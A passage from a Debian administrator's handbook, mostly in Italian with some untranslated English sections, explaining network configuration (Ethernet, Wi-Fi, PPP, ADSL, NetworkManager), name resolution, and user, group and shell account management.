La maggior parte delle moderne reti locali usa il protocollo Ethernet, che divide i dati in piccoli blocchi chiamati frame e li trasmette sul cavo uno alla volta. La velocità dei dati varia dai 10 Mb/s per le vecchie schede Ethernet ai 10 Gb/s delle schede più recenti (attualmente la velocità più comune sta passando da 100 Mb/s a 10 Gb/s). I cavi usati più comunemente sono chiamati 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T o 40GBASE-T in base alla velocità che possono fornire in modo affidabile (la T sta per "twisted pair" ovvero doppino intrecciato); questi cavi terminano con un connettore RJ45. Esistono altri tipi di cavi, utilizzati principalmente per velocità superiori a 10 Gb/s.

Un indirizzo IP è un numero usato per identificare un'interfaccia di rete installata su un computer in una rete locale oppure su Internet. Nella versione attualmente più diffusa di IP (IPv4), questo numero è codificato in 32 bit e viene generalmente rappresentato come 4 numeri separati da punti (es. 192.168.0.1), ogni numero è compreso tra 0 e 255 (inclusi, che corrisponde a 8 bit di dati). La prossima versione del protocollo, IPv6, estenderà questo spazio di indirizzamento a 128 bit e gli indirizzi saranno generalmente rappresentati da una serie di numeri esadecimali separati dai due punti (es., 2001:db8:13bb:0002:0000:0000:0020, o 2001:db8:13bb:2::20 nella forma abbreviata).

Una maschera di sottorete (netmask) definisce tramite il proprio codice binario quale porzione di un indirizzo IP corrisponde alla rete, e quale specifica la macchina. Nell'esempio di configurazione di indirizzo statico IPv4 qui fornito, la maschera di sottorete 255.255.255.0 (24 «1» seguiti da 8 «0» nella rappresentazione binaria) indica che i primi 24 bit dell'indirizzo IP corrispondono alla rete mentre gli altri 8 specificano la macchina. In IPv6, in favore della leggibilità, solo i numeri «1» vengono espressi; la maschera di sottorete per una rete IPv6 potrà essere quindi 64.

L'indirizzo di rete è un indirizzo IP nel quale la parte che descrive la macchina è pari a 0. L'intervallo di indirizzi IPv4 in una rete completa è spesso indicato con la sintassi a.b.c.d/e, dove a.b.c.d è l'indirizzo della rete ed e è il numero dei bit interessati dalla parte che indica la rete in un indirizzo IP. Una rete ad esempio sarà quindi descritta come segue: 192.168.0.0/24. La sintassi è simile in IPv6: 2001:db8:13bb::/64.

Un router è una macchina che connette diverse reti l'una con l'altra. Tutto il traffico che arriva attraverso un router è instradato verso la rete corretta. Per fare questo il router analizza i pacchetti in arrivo e li ridirige in base all'indirizzo IP della loro destinazione. Il router è spesso indicato come «gateway»: in questa configurazione lavora come una macchina che consente di uscire dalla rete locale (verso una rete estesa, come Internet).

L'indizzo speciale di broadcast connette tutte le postazioni in una rete. Non viene quasi mai instradato, funziona quindi solo all'interno della stessa rete. Questo significa che un pacchetto destinato all'indirizzo di broadcast non oltrepassa mai il router.

Questo capitolo si concentra sugli indirizzi IPv4 poiché sono attualmente i più utilizzati. I dettagli del protocollo IPv6 sono affrontati nella Sezione 10.6, «IPv6», ma i concetti rimangono gli stessi.

La rete viene configurata automaticamente durante l'installazione iniziale. Se Network Manager viene installato (che è il caso più frequente per le installazioni desktop complete), allora potrebbe essere che nessuna configurazione sia effettivamente richiesta (per esempio, se ti affidi al DHCP su una connessione cablata e non hai requisiti specifici). Se è richiesta una configurazione (per esempio, per un'interfaccia WiFi), allora verrà creato il relativo file in /etc/NetworkManager/system-connections/.

NOTA NetworkManager

Anche se Network Manager è particolarmente indicato in configurazioni di roaming (vedi Sezione 8.2.5, «Automatizzare la configurazione della rete per gli utenti in roaming»), è anche perfettamente utilizzabile come strumento predefinito di gestione della rete. È possibile creare "connessioni di Sistema" che vengono utilizzate non appena il computer viene avviato manualmente con un file simile a .ini in /etc/NetworkManager/system-connections/ o tramite uno strumento grafico (nm-connection-editor). Se stai usando ifupdown, ricordati di disattivare le voci in /etc/network/interfaces che vuoi vengano gestite da Network Manager.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.14/ref-settings.html

If Network Manager is not installed, then the installer will configure ifupdown by creating the /etc/network/interfaces file. A line starting with auto gives a list of interfaces to be automatically configured on boot by the networking service. When there are many interfaces, it is good practice to keep the configuration in different files inside /etc/network/interfaces.d/.

In un contesto server, ifupdown è lo strumento di configurazione di rete generalmente disponibile. Per questo ne discuteremo nelle prossime sezioni.

8.2.1. Interfaccia Ethernet

Se il computer dispone di una scheda Ethernet, la rete che vi sarà associata dev'essere configurata scegliendo uno tra i due metodi disponibili. Il metodo più semplice è la configurazione dinamica con DHCP, e richiede un server DHCP nella rete locale. Si può indicare il nome host desiderato, corrispondente all'hostname impostato nell'esempio seguente. Il server DHCP invia informazioni di configurazione appropriate per la rete.

Esempio 8.1. Configurazione DHCP

auto enp0s31f6

iface enp0s31f6 inet dhcp

hostname arrakis

IN PRACTICE Names of network interfaces

By default, the kernel attributes generic names such a eth0 (for wired Ethernet) or wlan0 (for WiFi) to the network interfaces. The number in those names is a simple incremental counter representing the order in which they have been detected. With modern hardware, that order might change for each reboot and thus the default names are not reliable.

Fortunately, systemd and udev are able to rename the interfaces as soon as they appear. The default name policy is defined by /lib/systemd/network/99-default.link (see systemd.link(5) for an explanation of the NamePolicy entry in that file). In practice, the names are often based on the device's physical location (as guessed by where they are connected) and you will see names starting with en for wired ethernet and wl for WiFi. In the example above, the rest of the name indicates, in abbreviated form, a PCI (p) bus number (0), a slot number (s31), a function number (f6).

Obviously, you are free to override this policy and/or to complement it to customize the names of some specific interfaces. You can find out the names of the network interfaces in the output of ip addr (or as filenames in /sys/class/net/).

In some corner cases it might be necessary to disable the consistent naming of network devices as described above. Besides changing the default udev rule it is also possible to boot the system using the net.ifnames=0 and biosdevname=0 kernel parameters to achieve that.

Una configurazione «statica» indica delle impostazioni di rete fisse. Ciò include perlomeno un indirizzo IP ed una maschera di rete; a volte vengono indicati anche indirizzi di rete e broadcast. Un router che connette verso l'esterno viene indicato come «gateway».

Esempio 8.2. Configurazione statica

auto enp0s31f6

iface enp0s31f6 inet static

address 192.168.0.3/24

broadcast 192.168.0.255

network 192.168.0.0

gateway 192.168.0.1

NOTA Indirizzi multipli

Oltre a poter associare diverse interfacce alla singola scheda di rete è anche possibile associare diversi indirizzi IP alla singola interfaccia. Va ricordato inoltre che un indirizzo IP può corrispondere a più di un nome DNS e che ogni nome può a sua volta corrispondere a qualsiasi numero di indirizzi IP numerici.

Come si può intuire le configurazioni possono essere piuttosto complicate, ma queste opzioni sono usate solo in casi veramente speciali. Gli esempi citati qui rappresentano le configurazioni tipiche.

8.2.2. Wireless Interface

Getting wireless network cards to work can be a bit more challenging. First of all, they often require the installation of proprietary firmwares which are not installed by default in Debian. Then wireless networks rely on cryptography to restrict access to authorized users only, this implies storing some secret key in the network configuration. Let's tackle those topics one by one.

8.2.2.1. Installing the required firmwares

First you have to enable the non-free repository in APT's sources.list file: see Sezione 6.1, «Compilazione del file sources.list» for details about this file. Many firmware are proprietary and are thus located in this repository. You can try to skip this step if you want, but if the next step doesn't find the required firmware, retry after having enabled the non-free section.

Then you have to install the appropriate firmware-* packages. If you don't know which package you need, you can install the isenkram package and run its isenkram-autoinstall-firmware command. The packages are often named after the hardware manufacturer or the corresponding kernel module: firmware-iwlwifi for Intel wireless cards, firmware-atheros for Qualcomm Atheros, firmware-ralink for Ralink, etc. A reboot is then recommended because the kernel driver usually looks for the firmware files when it is first loaded and no longer afterwards.

8.2.2.2. Wireless specific entries in /etc/network/interfaces

ifupdown is able to manage wireless interfaces but it needs the help of the wpasupplicant package which provides the required integration between ifupdown and the wpa_supplicant command used to configure the wireless interfaces (when using WPA/WPA2 encryption). The usual entry in /etc/network/interfaces needs to be extended with two supplementary parameters to specify the name of the wireless network (aka its SSID) and the Pre-Shared Key (PSK).

Esempio 8.3. DHCP configuration for a wireless interface

auto wlp4s0

iface wlp4s0 inet dhcp

wpa-ssid Falcot

wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

The wpa-psk parameter can contain either the plain text passphrase or its hashed version generated with wpa_passphrase SSID passphrase. If you use an unencrypted wireless connection, then you should put a wpa-key-mgmt NONE and no wpa-psk entry. For more information about the possible configuration options, have a look at /usr/share/doc/wpasupplicant/README.Debian.gz.

At this point, you should consider restricting the read permissions on /etc/network/interfaces to the root user only since the file contains a private key that not all users should have access to.

HISTORY WEP encryption

Usage of the deprecated WEP encryption protocol is possible with the wireless-tools package. See /usr/share/doc/wireless-tools/README.Debian for instructions.

8.2.3. Connettersi con PPP attraverso un modem PSTN

Una connessione punto-punto (PPP) stabilisce una connessione intermittente: questa è la soluzione più comune per le connessioni realizzate con un modem telefonico (detto anche modem PSTN poiché la connessione transita nella rete telefonica pubblica).

Una connessione tramite modem telefonico richiede un account presso un provider di accesso, che include un numero telefonico, un nome utente, una password ed a volte uno specifico protocollo di autenticazione da utilizzare. Questo tipo di connessione si configura usando lo strumento pppconfig fornito dall'omonimo pacchetto Debian. Per impostazione predefinita, stabilisce una connessione chiamata provider (come nel Provider di servizi internet). Quando si hanno dubbi sul protocollo di autenticazione, scegliere PAP: è offerto dalla maggior parte dei provider di servizi Internet.

Dopo la configurazione è possibile connettersi usando il comando pon (fornendo il nome della connessione come parametro, quando il valore predefinito provider non è appropriato). Si può terminare il collegamento con il comando poff. Questi due comandi possono essere eseguiti dall'utente root, o da ogni altro utente, purché sia inserito nel gruppo dip.

8.2.4. Connessione attraverso un modem ADSL

Il termine generico "modem ADSL" ricopre una moltitudine di dispositivi con funzioni molto differenti. I modem più semplici da utilizzare con Linux sono quelli che dispongono di un'interfaccia Ethernet ( e non solo una porta USB). Questi sono tendenzialmente popolari: molti provider di servizi Internet ADSL prestano (o affittano) un "dispositivo" con interfacce Ethernet. In base al tipo di modem, la configurazione richiesta può variare molto.

8.2.4.1. Modem che supportano PPPOE

Alcuni modem Ethernet lavorano con il protocollo PPPOE (Point to Point Protocol over Ethernet). Lo strumento pppoeconf (dall'omonimo pacchetto) configurerà la connessione. Per farlo, modifica il file /etc/ppp/peers/dsl-provider con le impostazioni fornite e registra le informazioni di accesso nei file /etc/ppp/pap-secrets e /etc/ppp/chap-secrets. Si raccomanda di accettare tutte le modifiche proposte.

Quando la configurazione è completata è possibile avviare la connessione ADSL con il comando pon dsl-provider e terminarla con poff dsl-provider.

SUGGERIMENTO Avviare ppp all'avvio

Le connessioni PPP su ADSL sono, per definizione, intermittenti. Poiché solitamente non sono fatturate in base al tempo, esistono poche ragioni per non tenerle sempre attive. Di solito per farlo si utilizza il sistema di init.

With systemd, adding an automatically restarting task for the ADSL connection is a simple matter of creating a “unit file” such as /etc/systemd/system/adsl-connection.service, with contents such as the following:

[Unit]

Description=Connessione ADSL

[Service]

Type=forking

ExecStart=/usr/sbin/pppd call dsl-provider

Restart=always

[Install]

WantedBy=multi-user.target

Una volta definito il file unit, deve essere abilitato con systemctl enable adsl-connection. Poi il ciclo può essere avviato manualmente con systemctl start adsl-connection; che sarà avviato automaticamente all'avvio.

Sui sistemi che non usano systemd (compresa Wheezy e le versioni precedenti di Debian), lo standard SytemV funziona in modo diverso. In questi sistemi, tutto quello che bisogna fare è aggiungere una linea come la seguente alla fine del file /etc/inittab; quindi, ogni volta che la connessione verrà interrotta, initla riconnettrerà.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Per le connessioni ADSL che si auto-disconnettono giornalemente, questo metodo riduce la durata dell'interruzione.

8.2.4.2. Modem che supportano PPTP

Il protocollo PPTP (Point-to-Point Tunneling Protocol) è stato creato da Microsoft. Sviluppato agli albori dell'ADSL, è stato velocemente sostituito da PPPOE. Se questo protocollo è una scelta forzata per voi, si veda la Sezione 10.3.4, «PPTP».

8.2.4.3. Modem che supportano DHCP

Quando un modem è connesso al computer tramite un cavo Ethernet (cavo incrociato o «crossover») si configura tipicamente una connessione di rete sul computer attraverso DHCP: il modem agisce automaticamente come gateway in via predefinita e si cura dell'instradamento (significa che gestisce il traffico di rete tra il computer ed Internet).

FONDAMENTALI Cavo incrociato per connessioni Ethernet dirette

Le schede di rete dei computer si aspettano di ricevere i dati su fili specifici all'interno del cavo e di inviare i propri dati su altri. Quando ci si connette ad un computer nella rete locale si connette generalmente un cavo (dritto o incrociato) tra la scheda di rete ed il ripetitore o «switch». Tuttavia, qualora si voglia connettere due computer direttamente (senza uno switch o un ripetitore intermediario) è necessario indirizzare il segnale inviato da una scheda al lato ricevente dell'altra scheda e vice-versa. Questo è lo scopo del cavo incrociato, nonché la ragione per cui è utilizzato.

Note that this distinction has become almost irrelevant over time, as modern network cards are able to detect the type of cable present and adapt accordingly, so it won't be unusual that both kinds of cable will work in a given location.

Molti "router ADSL" sul mercato possono essere utilizzati in questo modo, come fanno la maggior parte dei modem ADSL forniti dai provider di servizi Internet.

8.2.5. Automatizzare la configurazione della rete per gli utenti in roaming

Molti ingegneri della Falcot hanno un computer portatile che, utilizzano anche a casa, per scopi professionali. La configurazione di rete da usare dipende dalla posizione. A casa può esserci una rete wifi (protetta da una chiave WPA), mentre sul luogo di lavoro è disponibile una rete cablata per maggiore sicurezza e velocità.

Per evitare di doversi manualmente connettere o disconnettere alle corrispondenti interfacce di rete, gli amministratori hanno installato il pacchetto network-manager su queste macchine in roaming. Questo software abilita l'utente a passare facilmente tra una rete ed un'altra utilizzando la piccola icona visualizzata nell'area notifiche del desktop grafico. Cliccando su questa icona si visualizza una lista di reti disponibili (sia via cavo che wireless) così è possibile scegliere semplicemente la rete che si intende utilizzare. Il programma salva la configurazione per le reti alle quali l'utente si è già connesso ed automaticamente passa alla miglior rete disponibile quando la connessione corrente si interrompe.

Per poter far ciò, il programma è strutturato in due parti: un demone eseguito come root gestisce l'attivazione e la configurazione delle interfacce di rete ed una interfaccia utente controlla questo demone. Il PolicyKit gestisce le autorizzazioni richieste per controllare questo programma ed in Debian il PolicyKit è stato configurato in modo tale che solo i membri del gruppo netdev possono aggiungere o modificare le connessioni del Network Manager.

Network Manager knows how to handle various types of connections (DHCP, manual configuration, local network), but only if the configuration is set with the program itself. This is why it will systematically ignore all network interfaces in /etc/network/interfaces and /etc/network/interfaces.d/ for which it is not suited. Since Network Manager doesn't give details when no network connections are shown, the easy way is to delete from /etc/network/interfaces any configuration for all interfaces that must be managed by Network Manager.

Si noti che questo programma è installato in via predefinita quando viene scelto di installare l'ambiente grafico durante l'installazione iniziale.

8.3. Impostare il nome host e configurare il servizio dei nomi

Lo scopo di assegnare dei nomi agli indirizzi IP è quello di rendere più facile la memorizzazione per le persone. In verità, un indirizzo IP identifica un'interfaccia di rete associata con un dispositivo come una scheda di rete. Poiché ogni macchina può avere più schede e più interfacce per ogni scheda, un singolo computer può avere più nomi nel sistema dei nomi di dominio.

Ogni macchina è tuttavia identificata da un nome principale (o «canonico») conservato nel file /etc/hostname e comunicato al kernel Linux tramite gli script di inizializzazione attraverso il comando hostname. Il valore corrente è disponibile in un filesystem virtuale e lo si può ottenere con il comando cat /proc/sys/kernel/hostname.

FONDAMENTALI /proc/ e /sys/, filesystem virtuali

Gli alberi di file /proc/ e /sys/ sono generati da filesystem «virtuali». È un modo pratico per recuperare informazioni dal kernel (elencando dei file virtuali) o per comunicare informazioni al kernel (scrivendo sui file virtuali).

/sys/ in particular is designed to provide access to internal kernel objects, especially those representing the various devices in the system. The kernel can, thus, share various pieces of information: the status of each device (for example, if it is in energy saving mode), whether it is a removable device, etc. Note that /sys/ has only existed since kernel version 2.6. /proc/ describes the current state of the kernel: the files in this directory contain information about the processes running on the system and its hardware.

Sorprendentemente, il nome del dominio non è gestito allo stesso modo, ma viene ricavato dal nome completo della macchina, acquisito tramite la risoluzione dei nomi. È possibile cambiarlo nel file /etc/hosts; si scriva semplicemente un nome completo per la macchina all'inizio della lista di nomi associati all'indirizzo della macchina, come nell'esempio che segue:

127.0.0.1     localhost

192.168.0.1   arrakis.falcot.com arrakis

8.3.1. Risoluzione dei nomi

Il meccanismo per la risoluzione dei nomi in Linux è modulare e può utilizzare svariate sorgenti di informazione dichiarate nel file /etc/nsswitch.conf. L'elemento che coinvolge la risoluzione dei nomi host è hosts. Per impostazione predefinita, contiene dns files; che significa che il sistema consulta prima di tutto il file /etc/hosts, quindi i server DNS. Server NIS/NIS+ o LDAP sono altre possibili sorgenti.

NOTA NSS e DNS

È bene ricordare che comandi specificatamente intesi per interrogare i DNS (specialmente host) non utilizzano il meccanismo standard per la risoluzione dei nomi (NSS). Conseguentemente non prendono in considerazione /etc/nsswitch.conf e, pertanto, nemmeno /etc/hosts.

8.3.1.1. Configurare i server DNS

DNS (Domain Name Service) è un servizio distribuito e gerarchico che mappa i nomi agli indirizzi IP e vice-versa. In particolare converte un nome semplice da utilizzare come www.eyrolles.com nell'indirizzo IP corrispondente, 213.244.11.247.

Per accedere alle informazioni DNS, un server DNS dev'essere disponibile ad inoltrare le richieste. La Falcot ne ha uno proprio, ma un singolo utente utilizzerà probabilmente i server DNS forniti dal proprio provider dei servizi Internet.

I server DNS da utilizzare sono indicati in /etc/resolv.conf, uno per riga, con la parola chiave nameserver anteposta all'indirizzo IP, come nell'esempio seguente:

nameserver 212.27.32.176

nameserver 212.27.32.177

nameserver 8.8.8.8

Si noti che il file /etc/resolv.conf può essere gestito automaticamente (e sovrascritto) quando la rete è gestita da NetworkManager o configurata tramite DHCP.

8.3.1.2. Il file /etc/hosts

If there is no name server on the local network, it is still possible to establish a small table mapping IP addresses and machine hostnames in the /etc/hosts file, usually reserved for local network stations. The syntax of this file as described in hosts(5) is very simple: each line indicates a specific IP address followed by the list of any associated names (the first being “completely qualified”, meaning it includes the domain name).

Questo file è disponibile anche quando la rete non è disponibile o quando i server DNS non sono raggiungibili, ma è realmente utile solo quando viene distribuito su tutte le macchine nella rete. La minima alterazione nelle corrispondenze richiede che il file sia aggiornato ovunque. Ecco perché /etc/hosts contiene generalmente solo le voci più importanti.

Questo file è sufficiente per una piccola rete non connessa ad Internet, ma con 5 macchine o più è raccomandato di installare un server DNS.

SUGGERIMENTO Aggirare i DNS

Poiché le applicazioni controllano il file /etc/hosts prima di interrogare i DNS, è possibile includervi informazioni diverse da quelle che il DNS fornirebbe, aggirando di conseguenza la normale risoluzione dei nomi basata sul DNS.

Questo consente, qualora le modifiche DNS non siano ancora propagate, di verificare l'accesso ad un sito con il nome desiderato anche se quest'ultimo non è ancora adeguatamente mappato all'indirizzo IP.

Un altro possibile utilizzo è quello di reindirizzare, sulla macchina locale, il traffico destinato ad uno specifico host, impedendo così qualsiasi comunicazione con esso. Per esempio, i nomi host dei server che inviano banner pubblicitari potrebbero essere deviati per aggirare questi annunci rendendo la navigazione più fluida, meno dispersiva.

8.4. Database di utenti e gruppi

The list of users is usually stored in the /etc/passwd file, while the /etc/shadow file stores hashed passwords. Both are text files, in a relatively simple format, which can be read and modified with a text editor. Each user is listed there on a line with several fields separated with a colon (“:”).

NOTA Modificare i file di sistema

I file di sistema menzionati in questo capitolo sono tutti file di testo semplice, che possono essere modificati con un editor di testo. Considerata la loro importanza per le funzionalità primarie del sistema, è sempre una buona idea prendere precauzioni addizionali quando si modificano questi file di sistema. Prima di tutto, fare sempre una copia o un backup del file di sistema prima di aprirlo o alterarlo. Secondo, sui server o sulle macchine dove più di una persona può avere potenzialmente accesso allo stesso file allo stesso tempo, procedere con ulteriori precauzioni per evitare la corruzione dei file.

Per questo proposito è sufficiente usare il comando vipw per modificare il file /etc/passwd, oppure vigr per modificare /etc/group. Questi comandi bloccano il file in questione prima di eseguire l'editor di testo ((vi in via predefinita, a meno che la variabile d'ambiente EDITOR non sia stata modificata). L'opzione -s in questi comandi consente di modificare il file shadow corrispondente.

FONDAMENTALI crypt, funzione a senso unico

crypt è una funzione a senso unico che trasforma una stringa (A) in un'altra stringa (B) in modo tale che A non possa essere ricavata da B. L'unico modo per identificare A è provare tutti i possibili valori, controllando per ognuno se la trasformazione prodotta dalla funzione produce B oppure no. Utilizza fino a 8 caratteri come input (stringa A) e genera una stringa di 13 caratteri, stampabili ASCII, (stringa B).

8.4.1. Lista utenti: /etc/passwd

Questa è la lista dei campi nel file /etc/passwd:

- login, per esempio rhertzog;

- password: è una password cifrata con una funzione a senso unico (crypt), basandosi su DES, MD5, SHA-256 o SHA-512. Il valore speciale "x" indica che la password cifrata è conservata in /etc/shadow;

- uid: numero univoco che identifica ciascun utente;

- gid: numero univoco che identifica il gruppo principale dell'utente (Debian crea in via predefinita un gruppo specifico per ogni utente);

- GECOS: campo dati che normalmente contiene il nome completo dell'utente;

- directory di login, assegnata all'utente per conservare i propri file personali (la variabile d'ambiente $HOME punta generalmente qui);

- programma eseguito dopo il login. Questo è generalmente un interprete dei comandi (shell), che dà all'utente carta bianca. Se viene specificato /bin/false (il quale non fa nulla e ritorna immediatamente il controllo), l'utente non può eseguire il login.

FONDAMENTALI Gruppo Unix

Un gruppo Unix è un'entità che include diversi utenti così che possano condividere facilmente file utilizzando il sistema di permessi integrato (avendo esattamente gli stessi privilegi). È anche possibile restringere l'uso di certi programmi ad un gruppo specifico.

8.4.2. Il file delle password nascoste e cifrate: /etc/shadow

Il file /etc/shadow contiene i seguenti campi:

- login;

- password cifrata;

- diversi campi gestiscono la scadenza della password.

SICUREZZA La sicurezza del file /etc/shadow

/etc/shadow, unlike its alter-ego, /etc/passwd, cannot be read by regular users. Any hashed password stored in /etc/passwd is readable by anybody; a cracker could try to “break” (or reveal) a password by one of several “brute force” methods which, simply put, guess at commonly used combinations of characters. This attack — called a "dictionary attack" — is no longer possible on systems using /etc/shadow.

DOCUMENTAZIONE Formato dei file /etc/passwd, /etc/shadow e /etc/group

Questi formati sono documentati nelle seguenti pagine di manuale: passwd(5), shadow(5) e group(5).

8.4.3. Modificare un account o password esistente

The following commands allow modification of the information stored in specific fields of the user databases: passwd permits a regular user to change their password, which in turn, updates the /etc/shadow file; chfn (CHange Full Name), reserved for the super-user (root), modifies the GECOS field. chsh (CHange SHell) allows the user to change their login shell; however, available choices will be limited to those listed in /etc/shells; the administrator, on the other hand, is not bound by this restriction and can set the shell to any program of their choosing.

Infine il comando chage (CHange AGE) consente all'amministratore di cambiare le impostazioni di scadenza della password (l'opzione -l utente elenca le impostazioni attuali). È possibile inoltre forzare la scandenza di una password utilizzando il comando passwd -e utente, il quale richiede all'utente di cambiare la password al prossimo accesso.

8.4.4. Disabilitare un account

Può rendersi necessario «disabilitare un account» (tagliare fuori un utente) come misura disciplinare, per eseguire delle verifiche o semplicemente in caso di una prolungata o definitiva assenza dell'utente. Un account disabilitato significa che l'utente non potrà fare login o guadagnare accesso alla macchina. L'account rimane intatto nella macchina e né i file né altri dati sono cancellati: sono semplicemente inaccessibili. Questo si ottiene usando il comando passwd -l utente (l, per «lock»: blocco). Per riabilitare l'account si utilizza l'opzione -u (u, per «unlock»: sblocco).

APPROFONDIMENTI NSS ed i database di sistema

Invece di usare i file tradizionali per gestire le liste di utenti e gruppi, è possibile utilizzare altre tipologie di database, come LDAP o db, utilizzando un modulo NSS (Name Service Switch) appropriato. I moduli utilizzati sono elencati nel file /etc/nsswitch.conf, alle voci passwd, shadow e group. Si veda la Sezione 11.7.3.1, «Configurare NSS» per un esempio specifico circa l'utilizzo di un modulo NSS per LDAP.

8.4.5. Lista dei gruppi: /etc/group

I gruppi sono elencati nel file /etc/group, un semplice database testuale in un formato simile a quello del file /etc/passwd, con i seguenti campi:

- nome gruppo;

- password (opzionale): Questa è utilizzata unicamente per aggiungersi ad un gruppo quando non si è un utente abituale (con i comandi newgrp o sg, si veda il riquadro FONDAMENTALI Lavorare con diversi gruppi);

- gid: numero univoco di identificazione di un gruppo;

- lista di membri: lista di nomi degli utenti che sono membri del gruppo, separati da virgole.

FONDAMENTALI Lavorare con diversi gruppi

Ogni utente può essere membro di molti gruppi: uno di questi sarà il suo «gruppo principale». Il gruppo principale di un utente è creato, in via predefinita, durante la configurazione iniziale dell'utente. In via predefinita ogni file che un utente crea gli appartiene, così come viene assegnato al suo gruppo principale. Questo non è sempre desiderabile: per esempio quando l'utente lavora in una directory condivisa da un gruppo diverso dal suo gruppo principale. In questo caso l'utente deve cambiare il proprio gruppo principale usando uno dei seguenti comandi: newgrp che avvia una nuova shell oppure sg che semplicemente esegue comandi usando il gruppo alternativo fornito. Questi comandi consentono inoltre all'utente di unirsi ad un gruppo al quale non appartiene. Se il gruppo è protetto da password avranno bisogno di fornire la password appropriata prima che il comando sia eseguito.

In alternativa, l'utente può impostare il bit setgid nella directory, così i file creati in questa directory saranno assegnati automaticamente al gruppo corretto. Per maggiori dettagli, si veda il riquadro SICUREZZA directory setgid e sticky bit.

Il comando id visualizza lo stato corrente dell'utente: l'identificativo personale (variabile uid), il gruppo principale attuale (variabile gid) e la lista dei gruppi ai quali appartiene (variabile groups).

The addgroup and delgroup commands add or delete a group, respectively. The groupmod command modifies a group's information (its gid or identifier). The command gpasswd group changes the password for the group, while the gpasswd -r group command deletes it.

SUGGERIMENTO getent

Il comando getent («get entries»: ottieni le voci) controlla i database di sistema secondo le modalità standard, usando le funzioni di libreria appropriate, che richiamano i moduli NSS configurati nel file /etc/nsswitch.conf. Il comando accetta uno o due argomenti: il nome del database da controllare ed una chiave di ricerca opzionale. In questo modo il comando getent passwd rhertzog fornirà informazioni dal database utenti riguardanti l'utente rhertzog.

8.5. Creare account

Una delle prime azioni che un amministratore deve fare quando configura una nuova macchina è creare gli account utente. Questo è tipicamente realizzato utilizzando il comando adduser che accetta come argomento un nome utente per il nuovo utente che deve essere creato.

Il comando adduser presenta alcune domande prima di creare l'account ma il suo utilizzo è piuttosto intuitivo. Il suo file di configurazione, /etc/adduser.conf, include tutte le impostazioni interessanti: può essere usato per impostare automaticamente una quota per ogni nuovo utente creando un modello di utente o per cambiare la posizione degli account utente. Quest'ultima impostazione è raramente utile ma diventa pratica quando per esempio si ha un grande numero di utenti e si desidera dividere i loro account in dischi differenti. Inoltre è possibile scegliere una diversa shell predefinita.

FONDAMENTALI Quota

Il termine «quota» si riferisce ad un limite sulle risorse della macchina che un utente è autorizzato ad utilizzare. Frequentemente è riferita allo spazio su disco.

La creazione di un account popola la directory home dell'utente con i contenuti del modello /etc/skel/. Quest'ultimo fornisce all'utente un insieme di directory e file di configurazione standard.

In alcuni casi, diventa utile aggiungere un utente ad un gruppo (oltre al suo gruppo "principale" predefinito) per garantirgli permessi addizionali. Per esempio, un utente incluso nel gruppo audio può avere accesso ai dispositivi audio (vedi riquadro FONDAMENTALI Permessi di accesso ai dispositivi). Per farlo si può utilizzare un comando come adduser utente gruppo.

FONDAMENTALI Permessi di accesso ai dispositivi

Ogni dispositivo di periferica hardware è rappresentato su Unix con un file speciale, generalmente conservato nel file system all'interno di /dev/ (DEVice). Esistono due tipi di file speciali in base alla natura del dispositivo: in modalità a caratteri e in modalità a blocchi. Ogni modalità consente solo un numero limitato di operazioni. La modalità a caratteri limita l'interazione con le operazioni di lettura/scrittura mentre la modalità a blocchi consente anche la ricerca dei dati disponibili. Infine, ogni file speciale è associato a due numeri («maggiore» e «minore») che identificano il dispositivo nel kernel in modo univoco. Questo tipo di file, creato dal comando mknod, contiene semplicemente un nome simbolico (e più pratico).

I permessi di un file speciale mappano ai permessi necessari per accedere al dispositivo stesso. Così, un file come /dev/mixer, che rappresenta il mixer audio, concede i permessi di lettura e scrittura solo all'utente root ed ai membri del gruppo audio. Solo questi utenti possono azionare il mixer audio.

It should be noted that the combination of udev and policykit can add additional permissions to allow users physically connected to the console (and not through the network) to access to certain devices.

8.6. Ambiente shell

Gli interpreti dei comandi (o shell) possono essere il primo punto di contatto dell'utente con il computer, e devono quindi essere piuttosto amichevoli. Molti usano script di inizializzazione che consentono la configurazione del loro comportamento (completamento automatico, testo del prompt, ecc.).

bash, la shell standard, usa lo script di inizializzazione /etc/bash.bashrc per shell «interattive» e /etc/profile per le shell di «login».

FONDAMENTALI Shell di login e shell (non) interattive

In termini semplici, una shell di login è invocata quando si esegue il login alla console localmente o da remoto usando ssh, oppure eseguendo il comando esplicito bash --login. Che si tratti di una shell di login oppure no, una shell può essere interattiva (per esempio in un terminale tipo xterm) o non interattiva (quando si esegue uno script).

SCOPERTA Altre shell, altri script

Each command interpreter has a specific syntax and its own configuration files. Thus, zsh uses /etc/zshrc and /etc/zshenv; tcsh uses /etc/csh.cshrc, /etc/csh.login and /etc/csh.logout. The man pages for these programs document which files they use.

Per quanto riguarda bash è utile attivare il «completamento automatico» nel file /etc/bash.bashrc (basta decommentare qualche riga).

FONDAMENTALI Completamento automatico

Molti interpreti dei comandi forniscono funzionalità di completamento che consentono alla shell di completare automaticamente il nome di comandi parzialmente digitati quando l'utente usa il tasto Tab. Così gli utenti possono lavorare in modo più efficiente e sono meno soggetti ad errori.

This function is very powerful and flexible. It is possible to configure its behavior according to each command. Thus, the first argument following apt will be proposed according to the syntax of this command, even if it does not match any file (in this case, the possible choices are install, remove, upgrade, etc.).

The package bash-completion contains completions for most common programs.

FONDAMENTALI Il carattere tilde, una scorciatoia per HOME

Il carattere tilde è spesso usato per indicare la directory dove punta la variabile d'ambiente HOME (è la directory home dell'utente, come /home/rhertzog/). Gli interpreti dei comandi realizzano automaticamente la sostituzione: ~/hello.txt diviene /home/rhertzog/hello.txt.

Il carattere tilde consente inoltre di accedere alla directory home di un altro utente. Così ~rmas/bonjour.txt è sinonimo di /home/rmas/bonjour.txt.

Oltre a questi script comuni, ogni utente può creare i propri ~/.bashrc e ~/.bash_profile per configurare la propria shell. La modifica più comune riguarda l'aggiunta di alias: sono parole che vengono automaticamente sostituite con l'esecuzione di un comando per rendere più veloce il lancio di tale comando. Per esempio, si può creare l'alias la per il comando ls -la | less, così si dovrà digitare semplicemente la per ispezionare i contenuti di una directory in dettaglio.

FONDAMENTALI Variabili d'ambiente

